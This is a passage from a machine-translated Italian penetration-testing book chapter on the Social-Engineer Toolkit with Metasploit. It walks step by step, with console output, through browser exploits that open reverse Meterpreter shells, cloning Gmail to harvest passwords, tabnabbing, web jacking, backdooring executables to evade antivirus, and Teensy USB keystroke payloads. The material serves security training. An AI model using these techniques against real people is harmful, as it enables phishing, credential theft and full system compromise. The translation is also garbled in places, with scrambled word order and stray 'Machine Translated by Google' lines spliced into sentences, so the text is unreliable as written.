risorsa (src/program_junk/meta_config)> exploit -j [*] Exploit in esecuzione


come lavoro in background. msf exploit(ms10_002_aurora) > [*] Avviato il
gestore inverso il 10.10.1.112:443 [*] Usando l'URL: http://0.0.0.0:8080/
[*] IP locale: http:// 10.10.1.112:8080/ [*] Server avviato.

Per completare la configurazione dell'attacco, seleziona l'exploit lato client che desideri utilizzare. Sopra,
scegliamo il famigerato exploit Aurora di Internet Explorer e accettiamo il payload Meterpreter inverso predefinito di
Machine Translated .by Google
premendo
invio Quando il target raggiunge http://www.secmaniac.com/, il sito sembra normale, ma il suo
sistema è compromesso da un'iniezione di iframe. SET riscrive automaticamente il sito per contenere
l'iframe che ospita l'attacco lato client Metasploit.
Tornati alla macchina d'attacco, vediamo che l'attacco ha successo. La sessione Meterpreter ha
stabilito la connessione dal bersaglio alla macchina attaccante e abbiamo pieno accesso al sistema,
come mostrato qui.
msf exploit(handler) > [*] Fase
di invio (748032 byte) a 10.10.1.102 [*] Sessione Meterpreter 1
aperta (10.10.1.112:443 -> 10.10.1.102:58412)

msf exploit(gestore) > sessioni -i 1 [*] Inizio


dell'interazione con 1...

shellmeterpreter > shell Processo


2819 creato.
Canale 1 creato.
Microsoft Windows XP [versione 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documenti e impostazioni\Amministratore\Desktop>

Raccolta di nomi utente e password Negli esempi precedenti,


l'obiettivo era ottenere l'accesso al singolo sistema. Relativamente nuovo all'interno di SET è la
possibilità di clonare un sito Web e raccogliere le credenziali dei visitatori quando accedono al sito, come
dimostreremo utilizzando Gmail in questo prossimo esempio. SET può creare un clone del sito Web di
Gmail e quindi riscrivere automaticamente i parametri POST di quel sito Web per pubblicarli sul server Web
SET e quindi reindirizzare l'utente al sito Web legittimamente clonato.

3. Metodo di attacco della mietitrice di credenziali

Inserisci la tua scelta (premi invio per impostazione predefinita): 3

[!] Vettori di attacchi al sito web [!]

2. Clonazione del sito

Immettere il numero (1-4): 2

Email Harvester ti consentirà di utilizzare le funzionalità di clonazione all'interno di SET per raccogliere
credenziali o parametri da un sito Web e inserirli in un report.

SET supporta sia HTTP che HTTPS


Esempio: http://www.thisisafaksite.com
Inserisci l'URL da clonare: http://www.secmaniac.com

Premi {ritorno} per continuare.


[*] Social-Engineer Toolkit Credential Harvester Attack [*] Credential
Harvester è in esecuzione sulla porta 80 [*] Le informazioni ti verranno
visualizzate non appena arrivano di seguito:
Machine Translated by Google . Il
Dopo aver selezionato Website Attack Vectors e la configurazione di , scegli Clonazione sito
Credential Harvester per questo attacco è minima e richiede solo il passaggio di un
URL (http://www.secmaniac.com) a SET che contiene un modulo di accesso.
Il server Web viene eseguito e attende la risposta del target. Come accennato in precedenza, in questo caso
potresti impostare WEBATTACK_CONFIG=ON e SET ti chiederà di tentare e-mail di massa per convincere gli
obiettivi a fare clic sul collegamento. Il target verrebbe presentato con una pagina web che sembra identica al sito
web di Gmail e alla pagina di accesso iniziale. Quando il bersaglio inserisce la sua password, il browser reindirizza
automaticamente al sito Web Gmail originale, mentre all'attaccante vengono presentate le seguenti informazioni:
10.10.1.102 - - "GET / HTTP/1.1" 200 - [*] ABBIAMO
UN SUCCESSO! Stampa dell'output: PARAM:
ltmpl=default PARAM: ltmplcache=2 PARAM:
continue=https://mail.google.com/mail/?

PARAM: service=mail
PARAM: rm=false PARAM:
dsh=-1174166214807618980 PARAM:
ltmpl=default PARAM: ltmpl=default
PARAM: scc=1

PARAM: ss=1
PARAM: GALX=S3ftXFIww0E
POSSIBILE CAMPO USERNAME TROVATO: Email=ihazomgsecurity2390239203
POSSIBILE CAMPO PASSWORD TROVATO: Passwd=thisisacomplexp@55w0rd!!!!!
PARAM: rmShown=1
PARAM: signIn=Sign+in
PARAM: asts= [*] QUANDO
HAI FINITO, PREMERE CTRL-C PER GENERARE UN REPORT.

SET utilizza un dizionario integrato per contrassegnare campi modulo e parametri su siti che potrebbero contenere
informazioni riservate. Evidenzia in rosso i potenziali parametri di nome utente e password per indicare che
potrebbero essere parametri sensibili che vale la pena esaminare.
Una volta terminata la raccolta di tutte le credenziali del target, premere ctrl-C per generare un report, come
mostrato nella Figura 10-3. Il report utilizza la formattazione XML e HTML.
Il server web di SET è multithread e può gestire tutte le richieste che il tuo server può gestire. Quando un certo
numero di target immette le proprie credenziali nel sito, SET analizzerà automaticamente quei risultati in un
formato di report che separa i campi del modulo in un formato leggibile.
Puoi anche esportare i risultati della raccolta delle credenziali in un formato conforme a XML per importarli
successivamente in strumenti o parser che stai già utilizzando.
Machine Translated by Google

Figura 10-3. Rapporto sulla mietitrice di credenziali

Tabnabismo
In uno scenario di tabnabbing, un bersaglio viene catturato durante l'accesso a un sito Web con più schede aperte. quando
il target fa clic su un collegamento, gli viene presentato un messaggio "Attendere mentre la pagina viene caricata". Quando il
target commuta le schede, il sito Web rileva che una scheda diversa ha lo stato attivo e riscrive la pagina Web che
"
presentato il messaggio "Attendere. . prego
. con un sito Web specificato.

Alla fine, il target fa clic sulla scheda tabnabbed e, credendo che gli venga chiesto di accedere alla sua email
programma o applicazione aziendale, inserisce le sue credenziali nel sito sosia dannoso. Il
le credenziali vengono raccolte e il target viene reindirizzato al sito Web originale. Puoi accedere alla scheda che cattura il
vettore di attacco tramite l'interfaccia del vettore di attacco web di SET.

L'uomo-sinistra-nel-mezzo
Un attacco man-left-in-the-middle utilizza i riferimenti HTTP su un sito già compromesso o su un sito incrociato
vulnerabilità di scripting (XSS) per passare le credenziali della destinazione al server HTTP. Se trovi un
Vulnerabilità XSS e inviare l'URL al target, che quindi fa clic sul collegamento, il sito Web funzionerà
normalmente, ma quando il bersaglio accede al sistema, le sue credenziali vengono passate all'attaccante. È possibile
accedere al vettore di attacco man left-in-the-middle tramite l'interfaccia del vettore di attacco web di SET.

Web Jacking
Il metodo di attacco web jacking, nuovo nella versione SET 0.7, consente di creare un clone del sito Web, dove
il target viene presentato con un link che indica che il sito è stato spostato. Quando il bersaglio si libra sopra il
link, l'URL presentato è l'URL reale, non l'URL dell'attaccante. Quindi, per esempio, se stai clonando
https://gmail.com/, l'URL che apparirà sulla macchina del bersaglio quando passa il mouse sopra
Machine
il link Translated
sarebbe by Google Quando il target fa clic sul collegamento, Gmail si apre ma viene rapidamente
https://gmail.com/.
sostituito dal tuo server Web dannoso.

Questo attacco utilizza una sostituzione iframe basata sul tempo. Quando il target passa sopra il link, punta a qualsiasi
sito che hai clonato. Quando la destinazione fa clic sul collegamento, la sostituzione dell'iframe avvierà e sostituirà il
browser della destinazione con il sito clonato dannoso all'insaputa della destinazione. Puoi modificare i tempi di un
attacco di web jacking usando i flag config/set_config .

Per configurare SET per l'attacco, seleziona Metodo di attacco Web Jacking e Clona sito il sito che , e poi aggiungi
desideri clonare, https://gmail.com , come mostrato di seguito.

6. Metodo di attacco Web Jacking

Inserisci la tua scelta (premi invio per impostazione predefinita): 6

[!] Vettori di attacchi al sito web [!]

2. Clonazione del sito

Immettere il numero (1-4): 2

SET supporta sia HTTP che HTTPS Esempio:


http://www.thisisafaksite.com

Inserisci l'URL da clonare: https://gmail.com

[*] Clonazione del sito web: https://gmail.com [*] Potrebbe


volerci un po'...

Il modo migliore per utilizzare questo attacco è se sono disponibili i campi del modulo nome
utente e password. Indipendentemente da ciò, questo acquisisce tutti i POST su un sito Web.
[*] Ho letto il messaggio sopra. [*]

Premi {ritorno} per continuare.

[*] Il vettore di attacco Web Jacking è abilitato... La vittima deve fare clic sul collegamento.

Quando il target visita il sito clonato, vedrà il collegamento mostrato nella Figura 10-4. Si noti che l'URL nell'angolo
inferiore sinistro mostra https://gmail.com/.
Machine Translated by Google

Figura 10-4. Pagina iniziale e collegamento alla pagina clonata

Quando il target fa clic sul collegamento, gli viene presentata la pagina Web clonata mostrata nella Figura 10-5, che
assomiglia esattamente alla vera pagina di benvenuto di Gmail.

Figura 10-5. Pagina di benvenuto di Gmail clonata

Si noti che il testo dell'URL nella parte superiore della Figura 10-5 mostra il nostro server Web dannoso. Come negli
esempi precedenti, puoi registrare un nome di dominio simile per evitare questo problema. Una volta che il target ha
inserito username e password negli appositi campi, è possibile intercettare e raccogliere le credenziali.

Mettere tutto insieme con un attacco su più fronti Il vettore Web multiattacco consente di

concatenare più metodi di attacco Web insieme per eseguire un singolo attacco. Il vettore multi-attacco ti consente di
attivare e disattivare diversi vettori e combinare gli attacchi in un'unica pagina web. Quando l'utente fa clic sul
collegamento, verrà preso di mira da ciascuno dei vettori di attacco specificati. Un attacco su più fronti è particolarmente
utile perché, in alcuni casi, l'applet Java potrebbe non riuscire, mentre un exploit Internet Explorer lato client potrebbe
avere successo. Oppure, l'applet Java e gli exploit di Internet Explorer potrebbero non riuscire, ma la raccolta delle
credenziali ha esito positivo.
Machine Translated
Nell'esempio by Google
seguente, utilizzeremo l'attacco dell'applet Java, l'exploit lato client Metasploit e l'attacco web jacking.
Quando l'obiettivo esplora il sito interessato, verrà indotto a fare clic sul collegamento e verrà quindi bombardato da un
raccoglitore di credenziali, exploit Metasploit e l'attacco dell'applet Java.
Qui selezioneremo un exploit di Internet Explorer 7 ed esploreremo la macchina di destinazione utilizzando
Internet Explorer 6 solo per dimostrare come se un metodo fallisce, è possibile utilizzarne altri.
1. Il metodo di attacco dell'applet Java 2. Il metodo di
exploit del browser Metasploit 3. Il metodo di attacco di Credential
Harvester 4. Il metodo di attacco con tabnabbing 5. Il metodo di
attacco Man Left in the Middle 6. Il metodo di attacco Web Jacking

7. Metodo Web Multi-Attacco 8. Torna al


menu precedente

Inserisci la tua scelta (premi invio per impostazione predefinita): 7

[!] Vettori di attacchi al sito web [!]

2. Clonazione del sito

Immettere il numero (1-4): 2

Inserisci l'URL da clonare: https://gmail.com Seleziona quali


attacchi vuoi usare:

1. Il metodo di attacco dell'applet Java (OFF)

2. Il metodo di sfruttamento del browser Metasploit (OFF)


3. Metodo di attacco della mietitrice di credenziali (OFF)
4. Metodo di attacco con tabnabbing (OFF)
5. Man Left in the Middle Attack Method (OFF)

6. Metodo di attacco Web Jacking (OFF)


7. Usali tutti - AKA "Tactical Nuke"
8. Ho finito e voglio procedere con l'attacco.
9. Torna al menu principale.

Inserisci la tua scelta uno alla volta (premi 8 o invio per avviare): 1

Attivazione del vettore di attacco dell'applet Java

Seleziona quali attacchi vuoi usare:

Inserisci la tua scelta uno alla volta (premi 8 o accedi per avviare): 2

Attivazione del vettore di attacco laterale del client Metasploit

Opzione aggiunta. Premi {ritorno} per aggiungere o preparare il tuo prossimo attacco.

Seleziona quali attacchi vuoi usare:

Inserisci la tua scelta uno alla volta (premi 8 o accedi per avviare): 6

Attivazione del vettore di attacco Web Jacking


Machine Translated by Google
Seleziona quali attacchi vuoi usare:

. . . SPICCHIA. . .

Inserisci la tua scelta uno alla volta (premi 8 o accedi per avviare):

Inizia a configurare l'attacco selezionando Multi-Attack Web Method dal menu principale, quindi
scegli Site Cloner e inserisci l'URL da clonare, https://gmail.com . Successivamente, SET presenta un menu di
attacchi diversi. Seleziona The Java Applet Attack Method , quindi L'exploit del browser Metasploit
Metodo , e, infine, seleziona Web Jacking Attack Method . Puoi anche selezionare l'opzione 7, Usali
all - AKA 'Tactical Nuke' per abilitare automaticamente tutti i vettori di attacco.
Nell'esempio precedente, si noti che i flag sono cambiati e che l'applet Java, Metasploit
I metodi di attacco del browser exploit, Credential Harvester e Web Jacking sono stati tutti abilitati. Per
procedi, premi invio o scegli l'opzione 8 (ho finito...).
Inserisci la tua scelta uno alla volta (premi 8 o accedi per avviare):
Quale carico utile vuoi generare:

Nome: Descrizione:

2. Windows Reverse_TCP Meterpreter una shell Produrre


meterpreter sulla vittima e invia
torna all'attaccante.

Inserisci la scelta (premi invio per impostazione predefinita):

Di seguito è riportato un elenco di codifiche per provare a bypassare AV.

Seleziona uno dei seguenti, "eseguibile con backdoor" è in genere il migliore.

16. Eseguibile con backdoor (MIGLIORE)

Inserisci la tua scelta (inserisci per impostazione predefinita):


[-] Immettere la PORTA dell'ascoltatore (inserire per impostazione predefinita):

[-] Eseguire il backdoor di un eseguibile legittimo per aggirare l'Anti-Virus. Aspetta qualche secondo...
[-] Backdoor completata con successo. Il carico è ora
nascosto all'interno di un eseguibile legittimo.
************************************************** ******

Vuoi creare un payload Linux/OSX reverse_tcp


anche nell'attacco dell'applet Java?
************************************************** ******

Inserisci la scelta si o no: no

Inserisci l'exploit del browser che desideri utilizzare

8. Corruzione della memoria non inizializzata di Internet Explorer 7 (MS09-002)

Inserisci la tua scelta (1-12) (inserisci per impostazione predefinita): 8


Machine Translated del
[*] Clonazione by Google
sito web: https://gmail.com [*] Potrebbe
volerci un po'...
[*] Iniezione di un attacco Java Applet nel sito Web appena clonato.
[*] Offuscamento nome file completo. Il nome del payload è: x5sKAzS [*] Sito
Web di applet java dannoso preparato per la distribuzione

[*] Iniezione di iframe nel sito Web clonato per MSF Attack....
[*] Iniezione di iframe dannosa riuscita... carico utile di creazione.

risorsa (src/program_junk/meta_config)> exploit -j [*] Exploit in


esecuzione come lavoro in background. msf
exploit(ms09_002_memory_corruption) > [*] Gestore inverso avviato
su 172.16.32.129:443 [*] Utilizzando URL: http://0.0.0.0:8080/ [*] IP
locale: http://172.16.32.129:8080/ [*] Server avviato.

Per completare la configurazione dell'attacco, seleziona il payload Meterpreter inverso predefinito insieme alla
porta di codifica e ascolto predefinita.Scegliere di non configurare un payload Linux e OS X, quindi impostare l'exploit
del browser su Internet Explorer 7 Uninitialized Memory Corruption (MS09-002) ; quindi SET lancerà l'attacco.

Una volta che tutto è in esecuzione, puoi navigare sul sito Web e vedere cosa sta succedendo lì. L'URL di un messaggio
ti dice che il sito è stato spostato. Fare riferimento alla Figura 10-4 per vedere cosa vedrà il target sulla sua macchina.

Fare clic sul collegamento e inizia l'exploit Metasploit. Ecco il gestore sul backend:
[*] Invio di Internet Explorer 7 CFunctionPointer Memoria non inizializzata
Corruzione al 172.16.32.131:1329...

Questo exploit non riesce, perché stiamo usando Internet Explorer 6. La schermata del target è mostrata nella Figura 10-
6.

Figura 10-6. Avviso di sicurezza multiattacco

Tuttavia, abbiamo un attacco di riserva. La destinazione fa clic su Esegui sull'applet Java dannosa, viene avviata una
shell Meterpreter e la destinazione viene reindirizzata alla pagina Gmail originale. L'attacco ha successo.
SiMachine Translated
noti che quandoby siGoogle
utilizza l'applet Java, si migra automaticamente a un thread (processo) separato che
risulta essere notepad.exe. Per questo motivo, se il target chiude il browser, il nostro attacco continuerà
perché il processo non terminerà la nostra shell Meterpreter. Inoltre, all'interno del file di configurazione è
possibile impostare l'opzione "Java Repeater", che continuerà a richiedere al target l'avviso dell'applet Java
anche se fa clic su Annulla. Ciò rende più probabile che il target faccia clic sul pulsante Esegui.
La shell Meterpreter ci viene presentata una volta eseguito un exploit riuscito, come mostrato di seguito.
[*] Fase di invio (748544 byte) a 172.16.32.131 [*] Sessione
Meterpreter 1 aperta (172.16.32.129:443 -> 172.16.32.131:1333) at Thu Sep 09 12:33:20 ÿ0400 2010 [*]
Session ID 1 (172.16.32.129:443 -> 172.16.32.131:1333) elaborazione

InitialAutoRunScript 'migrare -f'


[*] Processo attuale del server: java.exe (824)
[*] Generazione di un processo host notepad.exe...
[*] Migrazione nell'ID processo 3044 [*] Nuovo
processo server: notepad.exe (3044) msf
exploit(ms09_002_memory_corruption) >

Ora diciamo che questo attacco fallisce e il bersaglio fa clic su Annulla (senza l'opzione ripetitore abilitata).
Gli verrà quindi richiesto di inserire il nome utente e la password nei campi nome utente e password,
consentendoti di raccogliere con successo le credenziali sul sito Web e avere comunque un attacco riuscito.
Anche se non avresti una shell Meterpreter, poiché la destinazione non ha fatto clic su Esegui, saresti
comunque in grado di intercettare le credenziali:
[*] ABBIAMO UN SUCCESSO! Stampa dell'output:
POSSIBILE CAMPO USERNAME TROVATO: Email=thisismyusername
POSSIBILE CAMPO PASSWORD TROVATO: Passwd=thisismypassword
[*] QUANDO HAI FINITO, PREMERE CONTROL-C PER GENERARE UN REPORT.

Come hai visto negli esempi precedenti, puoi vedere che SET offre una serie di potenti vettori di attacco
basati sul web nel suo arsenale. Può essere difficile persuadere un target a pensare che un sito clonato sia
legittimo. Gli utenti più esperti sono generalmente cauti riguardo ai siti sconosciuti e cercano di evitare
potenziali problemi di sicurezza mentre navigano in Internet. SET cerca di sfruttare questa cautela e,
permettendoti di imitare un sito Web noto, inganna anche alcune delle persone tecniche più esperte.
Machine Translated by Google

Generatore di media infettivi


L'Infectious Media Generator è un vettore di attacco relativamente semplice. Con questo vettore, SET crea
una cartella per te che puoi masterizzare su un CD/DVD o archiviare su una chiavetta USB. Viene utilizzato
il file autorun.inf che, una volta inserito nella macchina di un bersaglio, eseguirà qualsiasi cosa tu specifichi
durante la creazione dell'attacco. Attualmente, SET supporta eseguibili (come Meterpreter) e bug di formato
file (come exploit Adobe).
Machine Translated by Google

Teensy USB HID attacco vettore


Il vettore di attacco Teensy USB HID (Human Interface Device) è una straordinaria combinazione di
hardware personalizzato e bypass di restrizione tramite emulazione di tastiera. Tradizionalmente, quando si inserisce a
CD/DVD o USB nel tuo computer, se l'esecuzione automatica è disabilitata, autorun.inf non viene chiamato e non puoi
esegui il tuo codice automaticamente. Tuttavia, utilizzando Teensy USB HID, puoi emulare una tastiera
e topo. Quando inserisci il dispositivo, verrà rilevato come una tastiera e utilizzando il
microprocessore e memoria flash integrata, è possibile inviare una serie molto veloce di sequenze di tasti al
macchina di destinazione e comprometterla completamente, indipendentemente dall'esecuzione automatica. Puoi ordinare una Teensy USB
NASCOSTO su http://www.prjc.com/.

Impostiamo un Teensy USB HID per eseguire un download WScript di un payload Metasploit. Nel
nell'esempio seguente, verrà scritto un piccolo file WScript che scaricherà un eseguibile ed eseguirà
esso. Questo sarà il nostro carico utile Metasploit, ed è tutto gestito tramite SET.
Seleziona dal menù:

6. Vettore di attacco NASCOSTO USB Teensy

Inserisci la tua scelta: 6

Benvenuti nel vettore di attacco Teensy HID.

Un ringraziamento speciale a: IronGeek e WinFang

1. Powershell HTTP GET MSF Payload

2. WSCRIPT HTTP GET MSF Payload


3. Shell inversa basata su Powershell
4. Tornare al menu principale.

Inserisci la tua scelta: 2

Vuoi creare un payload e un listener sì o no: sì


Quale carico utile vuoi generare:

Nome: Descrizione:

. . . SPICCHIA. . .

2. Shell Reverse_TCP Meterpreter di Windows Genera un meterpreter


sulla vittima e invio
torna all'attaccante.

Inserisci la scelta (premi invio per impostazione predefinita):

Di seguito è riportato un elenco di codifiche per provare a bypassare AV.

Seleziona uno dei seguenti, "eseguibile con backdoor" è in genere il migliore.

. . . SPICCHIA. . .

16. Eseguibile con backdoor (MIGLIORE)

Inserisci la tua scelta (inserisci per impostazione predefinita):


[-] Immettere la PORTA dell'ascoltatore (inserire per impostazione predefinita):
Machine Translated by Google
[-] Eseguire il backdoor di un eseguibile legittimo per aggirare l'Anti-Virus. Aspetta qualche secondo...
[-] Backdoor completata con successo. Il carico utile è ora nascosto all'interno di un eseguibile legittimo

[*] File PDE creato. Puoi ottenerlo in 'reports/teensy.pde'


[*] Assicurati di selezionare "Strumenti", "Scheda" e "Teensy 2.0 (USB/KEYBOARD)" in Arduino Premi Invio per
continuare.

[*] Avvio di MSF Listener... risorsa (src/


program_junk/meta_config)> exploit -j [*] Exploit in esecuzione come
lavoro in background. msf exploit(handler) > [*] Avviato il gestore
inverso su 0.0.0.0:443 [*] Avviando il gestore del carico utile...

Per iniziare a configurare questo attacco, scegli Teensy USB HID Attack Vector dal menu principale, quindi scegli
WSCRIPT HTTP GET MSF Payload . Quindi dì a SET di impostare un payload e listener ,
. un file .pde, dovrai
selezionando il payload Meterpreter predefinito e il metodo di codifica Ora che hai
scaricare e utilizzare l'interfaccia Arduino, che è un'interfaccia utente grafica per la compilazione dei file .pde da
caricare sul tuo dispositivo Teensy.
Per questo attacco, segui le istruzioni su PJRC (http://www.pjrc.com/) per caricare il tuo codice nella bacheca di Teensy.
È relativamente semplice. Installi il caricatore e le librerie Teensy. Quindi vedrai un'interfaccia IDE (Integrated Drive
Electronics) chiamata Arduino. (Arduino/Teensy è supportato sui sistemi operativi Linux, Mac OS X e Windows.) Uno
degli aspetti più importanti è assicurarsi di impostare la scheda su una tastiera/mouse USB Teensy, come mostrato
nella Figura 10- 7.

Figura 10-7. Configurazione del dispositivo Teensy

Dopo averlo selezionato, trascina il tuo file .pde nell'interfaccia di Arduino. Inserisci il tuo dispositivo USB nel
computer e carica il tuo codice. Questo programmerà il tuo dispositivo con il codice generato dal SET.
La Figura 10-8 mostra il codice in fase di caricamento.

Dopo che il dispositivo USB programmato è stato inserito nella macchina di destinazione e il codice è stato installato, tu
Machinevedere
dovrebbe Translated by Google
una shell Meterpreter:

[*] Fase di invio (748544 byte) a 172.16.32.131 [*] Sessione Meterpreter 1 aperta
(172.16.32.129:443 -> 172.16.32.131:1333) a
Gio 09 giugno 12:52:32 ÿ0400 2010
[*] ID sessione 1 (172.16.32.129:443 -> 172.16.32.131:1333) elaborazione
InitialAutoRunScript 'migrare -f'
[*] Processo attuale del server: java.exe (824)
[*] Generazione di un processo host notepad.exe...
[*] Migrazione nel processo ID 3044 [*] Nuovo processo
server: notepad.exe (3044)

Figura 10-8. Caricamento del codice di attacco di Teensy


Machine Translated by Google
Funzioni SET aggiuntive
Non tratteremo ogni aspetto del Social-Engineer Toolkit, ma ha alcuni aspetti particolarmente degni di
nota. Uno strumento degno di nota è SET Interactive Shell: una shell interattiva che può essere selezionata
come payload invece di Meterpreter. Un'altra caratteristica è RATTE (Remote Administration Tool Tommy
Edition), un payload completo di tunneling HTTP creato da Thomas Werth. Si basa su comunicazioni basate
su HTTP e impostazioni proxy piggyback sulla macchina di destinazione. RATTE è particolarmente utile quando
il target utilizza regole di uscita e di ispezione dei pacchetti in grado di rilevare il traffico non HTTP. RATTE
utilizza l'algoritmo di crittografia Blowfish per le comunicazioni per consentire la crittografia completa su HTTP.
Altri due strumenti includono SET Web-GUI (un'applicazione Web completa che automatizza molti degli
attacchi discussi sopra) e il vettore di attacco wireless. Per eseguire SET Web-GUI, è sufficiente immettere ./
set-web dalla cartella principale di SET. La Web-GUI è scritta in Python ed è un ottimo modo per eseguire
attacchi tramite un'interfaccia web. Il vettore di attacco wireless crea un punto di accesso non autorizzato sulla
macchina attaccante. Quando il target si connette al punto di accesso, qualsiasi sito web che visita viene
reindirizzato alla macchina dell'attaccante, che può quindi lanciare una serie di attacchi SET (come Harvester o
l'applet Java) sul target.
Machine Translated by Google
Guardando avanti Come
Metasploit, SET è un work in progress. La comunità della sicurezza ha abbracciato le capacità e il
potenziale di SET e continua a contribuire a migliorarlo. Gli attacchi di ingegneria sociale sono in aumento,
quindi assicurarsi di poter testare correttamente questi vettori di attacco è fondamentale per qualsiasi
programma di sicurezza completo.
Man mano che organizzazioni e fornitori migliorano nella protezione dei perimetri di rete con soluzioni software
e hardware, spesso dimentichiamo quanto sia facile chiamare o inviare e-mail a un utente e convincerlo a fare clic o
scaricare qualcosa che può essere utilizzato per un attacco. L'ingegneria sociale in generale richiede abilità e pratica
e un buon attaccante sa che deve assicurarsi che l'attacco sia appositamente predisposto per colpire i punti deboli nei
programmi o nei sistemi di sensibilizzazione degli utenti aziendali dei suoi obiettivi. Un abile aggressore sa che
dedicare alcuni giorni alla ricerca di un'organizzazione, guardare le pagine di Facebook o Twitter e determinare cosa
potrebbe indurre qualcuno a fare clic frettolosamente è importante tanto quanto gli strumenti utilizzati dietro l'attacco.

Strumenti come SET sono utili agli attaccanti, ma ricorda sempre che come penetration tester, la tua abilità è definita
dalla tua creatività e dalla tua capacità di navigare in situazioni difficili. SET ti aiuterà ad attaccare i tuoi bersagli, ma,
alla fine, se fallisci, è probabilmente perché non sei stato abbastanza creativo.

Potrebbero piacerti anche